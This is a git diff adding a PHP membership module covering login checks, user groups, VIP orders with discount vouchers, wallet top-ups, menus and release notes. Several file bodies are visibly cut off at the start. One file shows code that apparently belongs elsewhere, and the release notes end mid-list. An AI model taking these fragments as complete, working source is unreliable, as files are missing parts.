.vip-button.lg{font-size:var(--font-size-large);padding:.5rem 1rem}.pb-page-member-vip .vip-text{color:#8b5f20}.pb-page-member-vip .vip-bg{background:#fff6ec}.pb-page-member-vip .top{margin-bottom:.5rem}.pb-page-member-vip .body{background:#fff;border-radius:.5rem}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box{position:relative}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container{overflow-x:auto}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .nav{background:#fff;display:block;position:absolute;top:50%;width:2rem;height:2rem;line-height:2rem;color:var(--color-tertiary);border-radius:50%;text-align:center;font-size:1rem;box-shadow:0 0 .5rem #ccc;margin-top:-1rem}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .nav i{display:block;line-height:2rem;text-align:center}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .nav.left{left:.2rem}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .nav.right{right:.2rem}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .vip-list{text-align:center;display:flex;justify-content:start;min-width:min-content;padding:.5rem 2rem}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .vip-list .item{text-align:center;flex-grow:1;border:1px solid #ffca92;border-radius:.5rem;margin:.5rem;padding:1rem;cursor:pointer;color:#381d00;width:12rem;max-width:12rem;flex-shrink:0}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .vip-list .item.active{background-image:linear-gradient(180deg,#ffe1b2,#fff9ed)} \ No newline at end of file diff --git a/module/Member/Auth/MemberGroup.php b/module/Member/Auth/MemberGroup.php new file mode 100644 index 00000000..37e1f859 --- /dev/null +++ b/module/Member/Auth/MemberGroup.php @@ -0,0 +1,54 @@ + 0 && self::id() == $memberUserId; + } + + public static function isNotMine($memberUserId) + { + return !self::isMine($memberUserId); + } + + public static function isLogin() + { + return self::id() > 0; + } + + public static function isNotLogin() + { + return !self::isLogin(); + } + + public static function isGroup($groupIds) + { + if (self::isNotLogin()) { + return false; + } + if (!is_array($groupIds)) { + $groupIds = [intval($groupIds)]; + } + $groupId = intval(self::get('groupId', 0)); + if ($groupId == 0) { + $groupId = MemberGroupUtil::defaultGroupId(); + } + return in_array($groupId, $groupIds); + } + + public static function isVip($vipIds) + { + if (self::isNotLogin()) { + return false; + } + if (!is_array($vipIds)) { + $vipIds = [intval($vipIds)]; + } + $vip = MemberVipUtil::getMemberVip(self::user()); + $vipId = 0; + if (!empty($vip)) { + $vipId = $vip['id']; + } + return in_array($vipId, $vipIds); + } + + public static function get($key = null, $default = null) + { + $user = self::user(); + if (null === $key) { + return $user; + } + return isset($user[$key]) ? $user[$key] : $default; + } + + /** + * @return mixed|string + * @deprecated delete at 2024-07-09 + */ + public static function nickname() + { + return MemberUtil::viewName(self::user()); + } + + public static function viewName() + { + return MemberUtil::viewName(self::user()); + } +} diff --git a/module/Member/Auth/MemberVip.php b/module/Member/Auth/MemberVip.php new file mode 100644 index 00000000..03c0a0d0 --- /dev/null +++ b/module/Member/Auth/MemberVip.php @@ -0,0 +1,43 @@ + $v) { + if ($k === $prefix) { + continue; + } + $ks = explode('^^', $k); + if ($prefix) { + if (!Str::startsWith($k, $prefix)) { + continue; + } + if (count(explode('^^', $prefix)) !== count(explode('^^', $k))) { + continue; + } + // echo "$prefix -> $k\n"; + } else { + if (1 != count($ks)) { + continue; + } + } + $item = $v; + $item['children'] = self::mergeMenuTree($flaten, $k . '^^'); + if (empty($item['children'])) { + unset($item['children']); + } + if (empty($item['children']) && empty($item['url'])) continue; + $tree[] = $item; + } + // echo $prefix . ' -> ' . json_encode($tree) . "\n"; + return $tree; + } +} diff --git a/module/Member/Config/MemberHomePanel.php b/module/Member/Config/MemberHomePanel.php new file mode 100644 index 00000000..554e3758 --- /dev/null +++ b/module/Member/Config/MemberHomePanel.php @@ -0,0 +1,28 @@ + $item) { + if ($item instanceof \Closure) { + self::$list[$k] = call_user_func($item); + } + } + return self::$list; + } +} diff --git a/module/Member/Config/MemberMenu.php b/module/Member/Config/MemberMenu.php new file mode 100644 index 00000000..00091bb4 --- /dev/null +++ b/module/Member/Config/MemberMenu.php @@ -0,0 +1,117 @@ +"; + } + } + if (!isset($flatten[$k])) $flatten[$k] = $item; + unset($flatten[$k]['children']); + if (!empty($item['children'])) { + $flatten = array_merge($flatten, self::mergeMenu($item['children'], $k . '^^', $level + 1, $filter)); + } + } + if ($level == 1) { + uasort($flatten, function ($a, $b) { + return $a['sort'] - $b['sort']; + }); + return self::mergeMenuTree($flatten); + } + return $flatten; + } + + + private static function mergeMenuTree($flaten, $prefix = '') + { + $tree = []; + foreach ($flaten as $k => $v) { + if ($k === $prefix) { + continue; + } + $ks = explode('^^', $k); + if ($prefix) { + if (!Str::startsWith($k, $prefix)) { + continue; + } + if (count(explode('^^', $prefix)) !== count(explode('^^', $k))) { + continue; + } + // echo "$prefix -> $k\n"; + } else { + if (1 != count($ks)) { + continue; + } + } + $item = $v; + $item['children'] = self::mergeMenuTree($flaten, $k . '^^'); + if (empty($item['children'])) { + unset($item['children']); + } + if (empty($item['children']) && empty($item['url'])) continue; + $tree[] = $item; + } + // echo $prefix . ' -> ' . json_encode($tree) . "\n"; + return $tree; + } +} diff --git a/module/Member/Config/MemberNavMenu.php b/module/Member/Config/MemberNavMenu.php new file mode 100644 index 00000000..f20dbad6 --- /dev/null +++ b/module/Member/Config/MemberNavMenu.php @@ -0,0 +1,45 @@ + $items, + ]); + } + +} diff --git a/module/Member/Config/MemberOauth.php b/module/Member/Config/MemberOauth.php new file mode 100644 index 00000000..2ed47c69 --- /dev/null +++ b/module/Member/Config/MemberOauth.php @@ -0,0 +1,91 @@ +hasRender(); + }); + return !empty($items); + } + + /** + * @param null $name + * @return AbstractOauth|AbstractOauth[]|null + * @throws BizException + */ + public static function get($name = null) + { + static $list = null; + if (null === $list) { + $list = []; + foreach (self::$list as $item) { + if (is_string($item)) { + $item = [app($item)]; + } else if ($item instanceof \Closure) { + $item = call_user_func($item); + } + $list = array_merge($list, $item); + } + } + if (null === $name) { + return $list; + } + foreach ($list as $item) { + if ($item->name() == $name) { + return $item; + } + } + return null; + } + + public static function getByOauthKey($name) + { + foreach (self::get() as $oauth) { + if ($oauth->oauthKey() == $name) { + return $oauth; + } + } + return null; + } + + public static function getOrFail($name) + { + $oauth = self::get($name); + BizException::throwsIfEmpty('授权登录信息(' . $name . ')未找到', $oauth); + return $oauth; + } + + private static function sort() + { + static $sort = 1000; + return $sort++; + } + +} diff --git a/module/Member/Converter/AtMemberHtmlInterceptor.php b/module/Member/Converter/AtMemberHtmlInterceptor.php new file mode 100644 index 00000000..bd3d61bb --- /dev/null +++ b/module/Member/Converter/AtMemberHtmlInterceptor.php @@ -0,0 +1,52 @@ + $userName) { + $userName = trim($userName); + if (empty($userName)) { + continue; + } + $userNames[$mat[0][$index]] = $userName; + } + + if (empty($userNames)) { + return $html; + } + + $memberUsers = ModelUtil::model('member_user')->whereIn('username', array_values($userNames))->get()->toArray(); + if (empty($memberUsers)) { + return $html; + } + + $memberUserMap = []; + foreach ($memberUsers as $memberUser) { + $memberUserMap[$memberUser['username']] = $memberUser; + } + + foreach ($userNames as $atText => $userName) { + if (empty($memberUserMap[$userName])) { + continue; + } + $memberUserLink = str_replace('{id}', $memberUserMap[$userName]['id'], '/member/{id}'); + $html = str_replace($atText, '@' . $memberUserMap[$userName]['username'] . ': ', $html); + } + + return $html; + } + +} \ No newline at end of file diff --git a/module/Member/Core/MemberDataStatisticAdminShowPanelProvider.php b/module/Member/Core/MemberDataStatisticAdminShowPanelProvider.php new file mode 100644 index 00000000..621f21d5 --- /dev/null +++ b/module/Member/Core/MemberDataStatisticAdminShowPanelProvider.php @@ -0,0 +1,43 @@ +number('sizeLimit', '大小限制')->help('单位MB'); + $form->display('sizeUsed', '已使用大小')->addable(true); + $form->hidden('memberUserId', '用户ID')->addable(true); + $item = []; + $item['memberUserId'] = $memberUser['id']; + $item['sizeLimit'] = $record['sizeLimit']; + $item['sizeUsed'] = FileUtil::formatByte($record['sizeUsed']); + $form->item($item)->fillFields(); + $form->showReset(false); + $form->formUrl(modstart_admin_url('member/config/data_statistic')); + return $form->render(); + } + +} diff --git a/module/Member/Core/MemberMoneyChargePayCenterBiz.php b/module/Member/Core/MemberMoneyChargePayCenterBiz.php new file mode 100644 index 00000000..3381124c --- /dev/null +++ b/module/Member/Core/MemberMoneyChargePayCenterBiz.php @@ -0,0 +1,81 @@ + OrderStatus::COMPLETED]); + MemberMoneyUtil::change($order['memberUserId'], $order['money'], '钱包充值'); + ModelUtil::transactionCommit(); + $memberUser = MemberUtil::get($order['memberUserId']); + NotifierProvider::notify('MemberMoneyCharge', '用户钱包充值成功', [ + '用户ID' => $memberUser['id'], + '用户昵称' => $memberUser['nickname'], + '用户名' => $memberUser['username'], + '充值金额' => $order['money'], + ]); + } + + public function createOrderForQuick($quickOrder, $param = []) + { + BizException::throwsIf('钱包充值未开启', !modstart_config('Member_MoneyChargeEnable', false)); + $memberUserId = $quickOrder['session']['memberUserId']; + $money = $quickOrder['param']['money']; + BizException::throwsIfEmpty('用户ID为空', $memberUserId); + BizException::throwsIf('充值金额异常', $money < 0.01 || $money > 1000 * 10000); + $order = ModelUtil::insert('member_money_charge_order', [ + 'status' => OrderStatus::WAIT_PAY, + 'memberUserId' => $memberUserId, + 'money' => $money, + ]); + return Response::generateSuccessData([ + 'bizId' => $order['id'], + 'feeTotal' => $money, + 'body' => '钱包充值', + 'param' => [], + 'redirect' => modstart_web_url('member_money'), + ]); + } + + +} diff --git a/module/Member/Core/MemberVipPayCenterBiz.php b/module/Member/Core/MemberVipPayCenterBiz.php new file mode 100644 index 00000000..6afce43e --- /dev/null +++ b/module/Member/Core/MemberVipPayCenterBiz.php @@ -0,0 +1,122 @@ + $payBizId], ['status' => OrderStatus::COMPLETED]); + $memberUser = MemberUtil::get($order['memberUserId']); + if (empty($memberUser)) { + return; + } + $update = []; + $update['vipId'] = $order['vipId']; + $update['vipExpire'] = $order['expire']; + MemberUtil::update($order['memberUserId'], $update); + if (ModuleManager::getModuleConfig('Member', 'creditEnable', false)) { + $vipSet = MemberVipUtil::get($order['vipId']); + if ($vipSet['creditPresentEnable']) { + if ($vipSet['creditPresentValue'] > 0) { + MemberCreditUtil::change($order['memberUserId'], $vipSet['creditPresentValue'], '会员VIP赠送积分'); + } + } + } + if ($update['vipId'] != $memberUser['vipId']) { + MemberUserVipChangeEvent::fire($order['memberUserId'], $memberUser['vipId'], $update['vipId']); + } + } + + public function createOrderForQuick($quickOrder, $param = []) + { + $memberUserId = $quickOrder['session']['memberUserId']; + BizException::throwsIfEmpty('用户ID为空', $memberUserId); + $vipId = $quickOrder['param']['vipId']; + BizException::throwsIfEmpty('请选择会员类型', $vipId); + $memberVip = MemberVipUtil::get($vipId); + BizException::throwsIfEmpty('会员类型不存在', $memberVip); + $memberUser = MemberUtil::get($memberUserId); + BizException::throwsIfEmpty('会员不存在', $memberUser); + // $api = app(MemberVipController::class); + // $priceInfoRet = $api->calc($vipId); + $priceInfoRet = MemberVipUtil::calcPrice($memberUser['vipId'], $memberUser['vipExpire'], $vipId); + BizException::throwsIf($priceInfoRet['msg'], $priceInfoRet['code'] > 0); + $money = $priceInfoRet['data']['price']; + if (modstart_module_enabled('Voucher')) { + $voucherId = isset($quickOrder['param']['voucherId']) ? intval($quickOrder['param']['voucherId']) : 0; + if ($voucherId > 0) { + $bizer = MemberVipVoucherBiz::bizer(); + $voucherItems = MemberVipVoucherBiz::listValidForMemberWithItemIds($memberUserId, [$voucherId]); + $voucherItems = $bizer->processFindUsableItems($memberUserId, $voucherItems); + $processResult = $bizer->processComputeItems($memberUserId, $voucherItems, [ + 'price' => $money, + ]); + $money = $processResult['price']; + } + } + // Log::info('MemberVipPayCenterBiz.createOrderForQuick - ' . json_encode([$quickOrder, $priceInfoRet], JSON_UNESCAPED_UNICODE)); + BizException::throwsIf('订单金额异常', $money < 0.01 || $money > 1000 * 10000); + $orderParam = []; + if (!empty($processResult['usedVoucherItems'])) { + $orderParam['voucherItemIds'] = array_column($processResult['usedVoucherItems'], 'id'); + } + $order = ModelUtil::insert(MemberVipOrder::class, [ + 'status' => OrderStatus::WAIT_PAY, + 'memberUserId' => $memberUserId, + 'vipId' => $memberVip['id'], + 'payFee' => $money, + 'expire' => $priceInfoRet['data']['expire'], + 'type' => $priceInfoRet['data']['type'], + 'param' => SerializeUtil::jsonEncode($orderParam), + ]); + if (!empty($processResult['usedVoucherItems'])) { + MemberVipVoucherBiz::bizer()->processUpdateUsedItemsInTransactionOrFail( + $memberUserId, + $processResult['usedVoucherItems'], + 'MemberVipOrder', + $order['id'] + ); + } + return Response::generateSuccessData([ + 'bizId' => $order['id'], + 'feeTotal' => $money, + 'body' => '开通VIP', + 'param' => [], + 'redirect' => modstart_web_url('member_vip'), + ]); + } + + +} diff --git a/module/Member/Core/MemberVipVoucherBiz.php b/module/Member/Core/MemberVipVoucherBiz.php new file mode 100644 index 00000000..072392b0 --- /dev/null +++ b/module/Member/Core/MemberVipVoucherBiz.php @@ -0,0 +1,59 @@ +radio('type', '类型') + ->options(VoucherType::only([VoucherType::DISCOUNT])) + ->when('=', VoucherType::DISCOUNT, function (Form $form) { + $form->number('typeDiscount', '折扣')->help('0-100,80表示打八折'); + }) + ->required() + ->defaultValue(VoucherType::DISCOUNT); + } + + public function itemUsable($voucherItemData, $memberUserId, $data = []) + { + $vipId = $data['vipId']; + if (empty($vipId)) { + return false; + } + switch ($voucherItemData['_voucher']['type']) { + case VoucherType::DISCOUNT: + return true; + } + return false; + } + + public function processComputeItems($memberUserId, $usingVoucherItemDataList, $data = [], $param = []) + { + $data['usedVoucherItems'] = $usingVoucherItemDataList; + // 折扣券 + foreach ($this->filterVoucherItems($usingVoucherItemDataList, VoucherType::DISCOUNT) as $item) { + $discount = $item['_voucher']['typeDiscount']; + $data['price'] = NumberUtil::discountDecimal($data['price'], $discount); + } + return $data; + } + +} diff --git a/module/Member/Core/ModuleServiceProvider.php b/module/Member/Core/ModuleServiceProvider.php new file mode 100644 index 00000000..3b6639a9 --- /dev/null +++ b/module/Member/Core/ModuleServiceProvider.php @@ -0,0 +1,388 @@ + 'details', + 'title' => '资产', + 'sort' => 900, + 'children' => [ + $moneyEnable ? [ + 'title' => LM('Member', 'MenuWallet'), + 'url' => modstart_web_url('member_money'), + ] : null, + $creditEnable ? [ + 'title' => $creditName, + 'url' => modstart_web_url('member_credit'), + ] : null, + ], + ], + [ + 'icon' => 'user', + 'title' => LM('Member', 'My'), + 'sort' => 1000, + 'children' => [ + $addressEnable ? [ + 'title' => LM('Member', 'MenuAddress'), + 'url' => modstart_web_url('member_address'), + ] : null, + [ + 'icon' => 'iconfont icon-comment', + 'title' => LM('Member', 'MenuMessage'), + 'url' => modstart_web_url('member_message'), + ], + [ + 'title' => LM('Member', 'MenuSecurity'), + 'url' => modstart_web_url('member_profile/security'), + ], + [ + 'title' => LM('Member', 'MenuAccount'), + 'url' => modstart_web_url('member_profile/profile'), + ], + [ + 'sort' => 999999, + 'title' => LM('Member', 'MenuLogout'), + 'url' => modstart_web_url('logout'), + ], + ] + ], + ]; + }); + + SmsTemplateProvider::register(VerifySmsTemplateProvider::class); + ScheduleBiz::register(MemberDeleteScheduleProvider::class); + + MemberHomeIcon::register(function () { + $moneyEnable = ModuleManager::getModuleConfig('Member', 'moneyEnable', false); + $creditEnable = ModuleManager::getModuleConfig('Member', 'creditEnable', false); + $creditName = LM('Member', 'My') . ModuleManager::getModuleConfig('Member', 'creditName', LM('Member', 'Credit')); + return [ + [ + 'title' => LM('Member', 'My'), + 'sort' => 1000, + 'children' => [ + $moneyEnable ? [ + 'icon' => 'iconfont icon-pay', + 'value' => sprintf('¥%.2f', MemberMoneyUtil::getTotal(MemberUser::id())), + 'title' => LM('Member', 'MenuWallet'), + 'url' => modstart_web_url('member_money'), + ] : null, + $creditEnable ? [ + 'icon' => 'iconfont icon-credit', + 'value' => MemberCreditUtil::getTotal(MemberUser::id()), + 'title' => $creditName, + 'url' => modstart_web_url('member_credit'), + ] : null, + [ + 'icon' => 'iconfont icon-comment', + 'title' => LM('Member', 'MenuMessage'), + 'url' => modstart_web_url('member_message'), + ], + [ + 'icon' => 'iconfont icon-card', + 'title' => LM('Member', 'MenuAccount'), + 'url' => modstart_web_url('member_profile'), + ], + [ + 'icon' => 'iconfont icon-lock', + 'title' => LM('Member', 'ChangePassword'), + 'url' => modstart_web_url('member_profile/password'), + ], + [ + 'icon' => 'iconfont icon-user', + 'title' => LM('Member', 'ChangeAvatar'), + 'url' => modstart_web_url('member_profile/avatar'), + ], + [ + 'icon' => 'iconfont icon-lock', + 'title' => LM('Member', 'MenuLogout'), + 'url' => modstart_web_url('logout'), + ], + ] + ], + ]; + }); + + AdminWidgetDashboard::registerIcon(function (Row $row) { + if (class_exists(DashboardItem::class)) { + $row->flexColumn(DashboardItem::makeTitleDataList( + 'iconfont icon-user', + '用户', + [ + [ + 'title' => '今日新增', + 'value' => \Module\Member\Model\MemberUser::where(['isDeleted' => false]) + ->where('created_at', '>=', date('Y-m-d 00:00:00'))->count(), + 'url' => modstart_admin_url('member'), + ], + [ + 'title' => '总用户', + 'value' => \Module\Member\Model\MemberUser::where(['isDeleted' => false])->count(), + 'url' => modstart_admin_url('member') + ], + ] + )); + } else { + $row->column(3, DashboardItemA::makeIconNumberTitle( + 'iconfont icon-user', + \Module\Member\Model\MemberUser::where(['isDeleted' => false])->count(), + '用户管理', + modstart_admin_url('member'), ColorUtil::randomColor() + )); + } + }); + + AdminWidgetLink::register(function () { + return AdminWidgetLink::build('会员', [ + ['注册', modstart_web_url('register')], + ['登录', modstart_web_url('login')], + ['找回密码', modstart_web_url('retrieve')], + ModuleManager::getModuleConfig('Member', 'vipEnable', false) ? ['开通VIP', modstart_web_url('member_vip')] : null, + ModuleManager::getModuleConfig('Member', 'moneyEnable', false) ? ['用户钱包', modstart_web_url('member_money')] : null, + ModuleManager::getModuleConfig('Member', 'creditEnable', false) ? ['用户积分', modstart_web_url('login')] : null, + ]); + }); + + if (modstart_module_enabled('PayCenter')) { + PayCenterBiz::register(MemberMoneyChargePayCenterBiz::class); + PayCenterBiz::register(MemberVipPayCenterBiz::class); + } + + if (modstart_module_enabled('Voucher')) { + VoucherBiz::register(MemberVipVoucherBiz::class); + } + + if (ModuleManager::getModuleConfig('Member', 'dataStatisticEnable', false)) { + MemberAdminShowPanelProvider::register(MemberDataStatisticAdminShowPanelProvider::class); + if (class_exists(DataUploadingEvent::class)) { + DataUploadingEvent::listen('member_upload', function (DataUploadingEvent $e) { + MemberDataStatisticUtil::checkQuota($e->userId); + }); + } + if (class_exists(DataUploadedEvent::class)) { + DataUploadedEvent::listen('member_upload', function (DataUploadedEvent $e) { + MemberDataStatisticUtil::updateMemberUserUsedSize($e->userId); + }); + } + if (class_exists(DataDeletedEvent::class)) { + DataDeletedEvent::listen(function (DataDeletedEvent $e) { + $record = MemberUpload::where(['dataId' => $e->data['id']])->first(); + if ($record) { + $record->delete(); + MemberDataStatisticUtil::updateMemberUserUsedSize($record->userId); + } + }); + } + } + + Event::listen(MemberUserRegisteredEvent::class, function (MemberUserRegisteredEvent $e) { + $memberUser = MemberUtil::getCached($e->memberUserId); + // VIP赠送积分 + if (ModuleManager::getModuleConfig('Member', 'creditEnable', false)) { + $vipSet = MemberVipUtil::get($memberUser['vipId']); + if ($vipSet['creditPresentEnable']) { + if ($vipSet['creditPresentValue']) { + MemberCreditUtil::change($memberUser['id'], $vipSet['creditPresentValue'], '会员VIP赠送积分'); + } + } + } + // 注册发送邮件 + $message = modstart_config('Member_Registered_Message', ''); + if ($message) { + $message = MemberParamUtil::replaceParam($message, $memberUser); + MemberMessageUtil::send($e->memberUserId, MemberParamUtil::replaceParam($message, $memberUser)); + } + $emailContent = modstart_config('Member_Registered_Email', ''); + $emailTitle = modstart_config('Member_Registered_EmailTitle', ''); + if ($emailTitle && $emailContent) { + if (!empty($memberUser['email'])) { + $emailTitle = MemberParamUtil::replaceParam($emailTitle, $memberUser); + $emailContent = MemberParamUtil::replaceParam($emailContent, $memberUser); + MailSendJob::createHtml($memberUser['email'], $emailTitle, $emailContent); + } + } + // 注册信息更新 + $registerIpNameRes = IpProvider::firstResponse($memberUser['registerIp']); + if (!empty($registerIpNameRes)) { + $name = join('', array_filter([ + $registerIpNameRes->country, + $registerIpNameRes->province, + $registerIpNameRes->city, + $registerIpNameRes->district, + ])); + if (!empty($name)) { + MemberUtil::update($memberUser['id'], [ + 'registerIpName' => StrUtil::mbLimit($name, 30), + ]); + } + } + }); + + AdminMenu::register(function () { + $moneyEnable = ModuleManager::getModuleConfig('Member', 'moneyEnable', false); + $creditEnable = ModuleManager::getModuleConfig('Member', 'creditEnable', false); + $vipEnable = ModuleManager::getModuleConfig('Member', 'vipEnable', false); + $groupEnable = ModuleManager::getModuleConfig('Member', 'groupEnable', false); + $creditName = ModuleManager::getModuleConfig('Member', 'creditName', '积分'); + return [ + [ + 'title' => '用户中心', + 'icon' => 'users', + 'sort' => 100, + 'children' => [ + [ + 'title' => '用户管理', + 'url' => '\Module\Member\Admin\Controller\MemberController@index', + ], + [ + 'title' => '用户资产', + 'children' => [ + $moneyEnable ? + [ + 'title' => '用户钱包流水', + 'url' => '\Module\Member\Admin\Controller\MemberMoneyLogController@index', + ] : null, + $moneyEnable ? + [ + 'title' => '用户钱包提现申请', + 'url' => '\Module\Member\Admin\Controller\MemberMoneyCashController@index', + ] : null, + $creditEnable ? + [ + 'title' => '用户' . $creditName . '流水', + 'url' => '\Module\Member\Admin\Controller\MemberCreditLogController@index', + ] : null, + ] + ], + [ + 'title' => '用户设置', + 'sort' => 999999, + 'children' => [ + [ + 'title' => '功能设置', + 'url' => '\Module\Member\Admin\Controller\ConfigController@setting', + ], + [ + 'title' => '用户协议', + 'url' => '\Module\Member\Admin\Controller\ConfigController@agreement', + ], + [ + 'title' => '消息设置', + 'url' => '\Module\Member\Admin\Controller\ConfigController@message', + ], + $moneyEnable ? [ + 'title' => '钱包设置', + 'url' => '\Module\Member\Admin\Controller\ConfigController@money', + ] : null, + $vipEnable ? [ + 'title' => '用户VIP', + 'url' => '\Module\Member\Admin\Controller\MemberVipSetController@index', + ] : null, + $groupEnable ? [ + 'title' => '用户分组', + 'url' => '\Module\Member\Admin\Controller\MemberGroupController@index', + ] : null, + ] + ] + ] + ], + [ + 'title' => '财务中心', + 'icon' => 'cny', + 'sort' => 200, + 'children' => [ + [ + 'title' => '业务订单', + 'sort' => 999999, + 'children' => [ + $moneyEnable ? + [ + 'title' => '用户-钱包充值订单', + 'url' => '\Module\Member\Admin\Controller\MemberMoneyChargeOrderController@index', + ] : null, + $vipEnable ? + [ + 'title' => '用户VIP订单', + 'url' => '\Module\Member\Admin\Controller\MemberVipOrderController@index', + ] : null, + ], + ], + ] + ], + [ + 'title' => '运营报表', + 'icon' => 'chart', + 'sort' => 150, + 'children' => [ + [ + 'title' => '用户数据', + 'url' => '\Module\Member\Admin\Controller\MemberDashboardController@index', + ], + ] + ], + ]; + }); + } + + /** + * Register any application services. + * + * @return void + */ + public function register() + { + + } +} diff --git a/module/Member/Docs/module/content.md b/module/Member/Docs/module/content.md new file mode 100644 index 00000000..2de8f0cc --- /dev/null +++ b/module/Member/Docs/module/content.md @@ -0,0 +1,52 @@ +## 模块介绍 + +「通用用户系统」提供一个基础的用户管理功能。 + +```mind +功能特性 + 注册 + 用户名注册 + 手机注册 + 邮箱注册 + 登录 + 用户名密码登录 + 手机验证码登录 + 找回密码 + 邮箱找回密码 + 手机找回密码 + 绑定信息 + 绑定手机 + 绑定邮箱 + 授权登录 + 开放式授权登录接口 + 钱包 + 钱包充值 + 钱包提现 + 钱包流水 + 积分 + 积分充值 + 积分流程 + 分组 + 用户分组 + VIP + VIP特权 + VIP开放数据接入 +``` + +## 常见问题 + +#### 如何保证用户登录后才可以访问方法? + +当前 `Controller` 实现 `Module\Member\Support\MemberLoginCheck` 接口,同时在 Route 中使用中间件 `WebAuthMiddleware` + +#### 如何获取到当前用户分组和VIP等级? + + +通过以下方法获取到当前用户 + +```php +\Module\Member\Auth\MemberUser::id() +\Module\Member\Auth\MemberUser::get() +``` + +{ADMIN_MENUS} diff --git a/module/Member/Docs/module/mobilePreview.md b/module/Member/Docs/module/mobilePreview.md new file mode 100644 index 00000000..92198ba1 --- /dev/null +++ b/module/Member/Docs/module/mobilePreview.md @@ -0,0 +1,2 @@ +https://ms-assets.modstart.com/data/image/2021/11/26/62724_zbya_4173.png +https://ms-assets.modstart.com/data/image/2021/11/26/62724_ng9t_4901.png \ No newline at end of file diff --git a/module/Member/Docs/module/preview.md b/module/Member/Docs/module/preview.md new file mode 100644 index 00000000..48de91de --- /dev/null +++ b/module/Member/Docs/module/preview.md @@ -0,0 +1,8 @@ +https://ms-assets.modstart.com/data/image/2021/11/26/62723_yhw9_3975.jpg +https://ms-assets.modstart.com/data/image/2021/11/26/62723_hrnn_1640.png +https://ms-assets.modstart.com/data/image/2022/01/05/24747_ngm8_3867.png +https://ms-assets.modstart.com/data/image/2022/01/05/24738_0qvz_8602.png +https://ms-assets.modstart.com/data/image/2022/01/05/24738_qs4v_9452.png +https://ms-assets.modstart.com/data/image/2022/01/05/24739_y9zl_4977.png +https://ms-assets.modstart.com/data/image/2022/01/05/24740_iqwf_1074.png +https://ms-assets.modstart.com/data/image/2022/01/05/24743_gq39_6187.png \ No newline at end of file diff --git a/module/Member/Docs/release.md b/module/Member/Docs/release.md new file mode 100644 index 00000000..187b1924 --- /dev/null +++ b/module/Member/Docs/release.md @@ -0,0 +1,266 @@ +## 4.7.0 + +- 优化:用户弹窗登录界面内容优化 +- 优化:后台用户字段 adminMemberInfo 显示支持关联字段 +- 修复:充值卡和VIP充值统一界面冲突问题 +- 修复:自定义上传组件用户端上传脚本异常问题 + +--- + +## 4.6.0 用户VIP协议界面升级,已知问题修复 + +- 新增:用户会员开通协议界面 +- 优化:VIP开通界面协议增加到开通弹窗底部 +- 优化:授权登录为空时异常判断 + +--- + +## 4.5.0 VIP优惠券集成,VIP购买交互方式优化,注册IP定位,用户密码加密 + +- 新增:VIP 优惠券功能集成,支持折扣券 +- 新增:可完全自定义上传功能定制的特性 UploadScript Hook +- 新增:用户登录传输用户密码加密 +- 新增:用户注册增加注册IP定位,支持用户注册地理位置记录 +- 优化:后台授权登录显示样式功能优化 +- 优化:VIP 开通页面交互形式优化 + +--- + +## 4.4.0 授权绑定优化,已知问题修复 + +- 新增:用户上传数据表模型表 +- 优化:手机快速注册登录密码设置控件不是password修复 +- 优化:VIP设置赠送积分但积分设置为0时异常问题 +- 修复:已登录绑定授权信息,开启自动绑定账户时,绑定账户异常问题 +- 修复:用户注册弹窗异常验证码发送异常问题 + +--- + +## 4.3.0 用户过期过期控制,新增组件支持 + +- 新增:用户过期时间精确到时分秒,支持更精确的过期时间控制 +- 新增:后台快速选择用户 AdminMemberSelector 组件 + +--- + +## 4.2.0 VIP界面升级,用户积分流水记录,用户管理优化,等 + +- 新增:用户VIP开通界面增加划线价 +- 新增:VIP开通界面增加最近开通用户列表和倒计时,促进用户开通率 +- 新增:用户自动注册前缀可设置,优化用户显示逻辑 +- 新增:后台用户管理昵称点击可弹出用户详情管理弹窗 +- 新增:用户积分新增冻结、提交、取消三阶段操作功能 +- 新增:用户积分流水增加其他信息,支持冻结交易、管理员变更等信息展示 +- 新增:用户积分后台操作支持记录管理员 ID +- 新增:后台用户钱包流水增加其他信息,可记录后台管理员变更信息 +- 新增:用户前台积分冻结记录显示功能 +- 新增:后台首页概况页面重构完成 +- 新增:后台用户列表支持一键登录,方便管理员快速登录用户中心(默认关闭,需要在模块管理中开启) +- 修复:默认用户开通积分赠送不生效问题修复 +- 修复:用户名字符长度提示文案异常问题 +- 优化:授权登录默认注册为用户昵称(昵称不可作为登录用户名) + +--- + +## 4.1.0 密码强度校验,授权头像优化,部分问题修复 + +- 新增:短信验证注册时可支持同时设置登录密码 +- 新增:用户文件上传增加type字段,区分文件类型 +- 新增:用户密码增加强度校验,可配置 +- 新增:用户授权自动绑定开关,支持授权后立即登录 +- 优化:用户授权登录头像获取优化 +- 优化:用户管理后台用户注册登录设置页面文案优化 +- 优化:用户VIP页面条目是否可视移动端接口优化 +- 修复:用户积分记录更新异常问题修复 +- 修复:概率性用户VIP时间异常问题 + +--- + +## 4.0.0 用户通用充值卡,已过期VIP自动更新,后台数据统计修复 + +- 新增:用户通用充值卡功能,支持不同业务数额充值 +- 新增:用户首页面板配置 MemberHomePanel +- 新增:已过期的用户VIP,自动更新为普通用户 +- 修复:后台用户数据统计异常问题修复 + +--- + +## 3.9.0 注册成功站内信,账号自定义对接,VIP快捷支付,已知问题修复 + +- 新增:用户注册成功站内信和欢迎邮件 +- 新增:MemberAuthProvider支持自定义账号对接方式 +- 优化:表单提交时交互验证未完成逻辑优化 +- 修复:VIP开通快捷支付异常问题 + +--- + +## 3.8.0 VIP页面弹窗模式,MemberNavMenu支持右上角下拉菜单动态展示 + +- 新增:VIP充值页面新增弹窗模式 +- 新增:MemberNavMenu支持右上角下拉菜单动态展示 + +--- + +## 3.7.0 验证码失效日志,页面增加爬虫抓取优化 + +- 新增:手机、邮箱验证码校验失效日志 +- 新增:用户注册、登录、找回密码等页面增加canonical优化爬虫路径 + +--- + +## 3.6.0 充值快捷支付,授权能绑定,消息优化,修复若干问题 + +- 新增:用户PC充值页面适配快捷支付功能 +- 新增:用户增长趋势显示最近30天记录 +- 修复:在线充值支付中心未安装页面提示 +- 